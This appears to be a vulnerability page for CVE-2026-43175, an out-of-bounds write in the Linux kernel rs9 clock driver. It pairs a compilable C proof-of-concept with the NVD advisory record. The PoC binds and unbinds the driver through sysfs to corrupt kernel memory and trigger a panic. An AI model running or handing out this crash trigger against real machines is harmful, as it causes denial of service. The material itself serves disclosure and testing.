CVE-2026-43175

/* * PoC for CVE-2026-43175 * This script demonstrates triggering the vulnerability by binding * and unbinding the affected driver, assuming the hardware is present. * * Compile: gcc -o poc_cve2026_43175 poc_cve2026_43175.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define DRIVER_BIND_PATH "/sys/bus/i2c/drivers/rs9/bind" #define DRIVER_UNBIND_PATH "/sys/bus/i2c/drivers/rs9/unbind" // Hypothetical device ID for 9FGV0841 #define DEVICE_ID "0-0068" void trigger_vulnerability() { int fd; printf("[+] Attempting to bind device %s to trigger out-of-bounds write...\n", DEVICE_ID); // Step 1: Bind the device to the vulnerable driver // This triggers the driver probe function where clk_hw[4..7] are written OOB fd = open(DRIVER_BIND_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open bind path (check permissions/root)"); return; } if (write(fd, DEVICE_ID, strlen(DEVICE_ID)) < 0) { perror("[-] Failed to bind device"); close(fd); return; } close(fd); printf("[+] Device bound. Memory corruption likely occurred in rs9_driver_data.\n"); sleep(1); // Step 2: Unbind the device to trigger the crash // The driver teardown or suspend logic will access the corrupted memory printf("[+] Attempting to unbind device to trigger kernel panic...\n"); fd = open(DRIVER_UNBIND_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind path"); return; } if (write(fd, DEVICE_ID, strlen(DEVICE_ID)) < 0) { perror("[-] Failed to unbind device"); } else { printf("[+] Unbind successful. If vulnerable, kernel should crash shortly.\n"); } close(fd); } int main() { printf("CVE-2026-43175 PoC - Linux Kernel clk: rs9 Out-of-Bounds Write\n"); trigger_vulnerability(); return 0; }

{"cve": {"id": "CVE-2026-43175", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:35.967", "lastModified": "2026-05-12T20:01:25.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: rs9: Reserve 8 struct clk_hw slots for for 9FGV0841\n\nThe 9FGV0841 has 8 outputs and registers 8 struct clk_hw, make sure\nthere are 8 slots for those newly registered clk_hw pointers, else\nthere is going to be out of bounds write when pointers 4..7 are set\ninto struct rs9_driver_data .clk_dif[4..7] field.\n\nSince there are other structure members past this struct clk_hw\npointer array, writing to .clk_dif[4..7] fields corrupts both\nthe struct rs9_driver_data content and data around it, sometimes\nwithout crashing the kernel. However, the kernel does surely\ncrash when the driver is unbound or during suspend.\n\nFix this, increase the struct clk_hw pointer array size to the\nmaximum output count of 9FGV0841, which is the biggest chip that\nis supported by this driver."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8", "versionEndExcluding": "6.12.75", "matchCriteriaId": "4A94C3E7-EF78-4AF2-8160-DDF77E97D5EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2f926875dffe2226ea26d129e16d9092cccd03aa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5ec820fc28d0b8a0f3890d476b1976f20e8343cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/82a34f344999d8029bcebf131028fa519140c7cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/da86ca15d7389ee0b5df08e8f70c39354e6b8a4b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}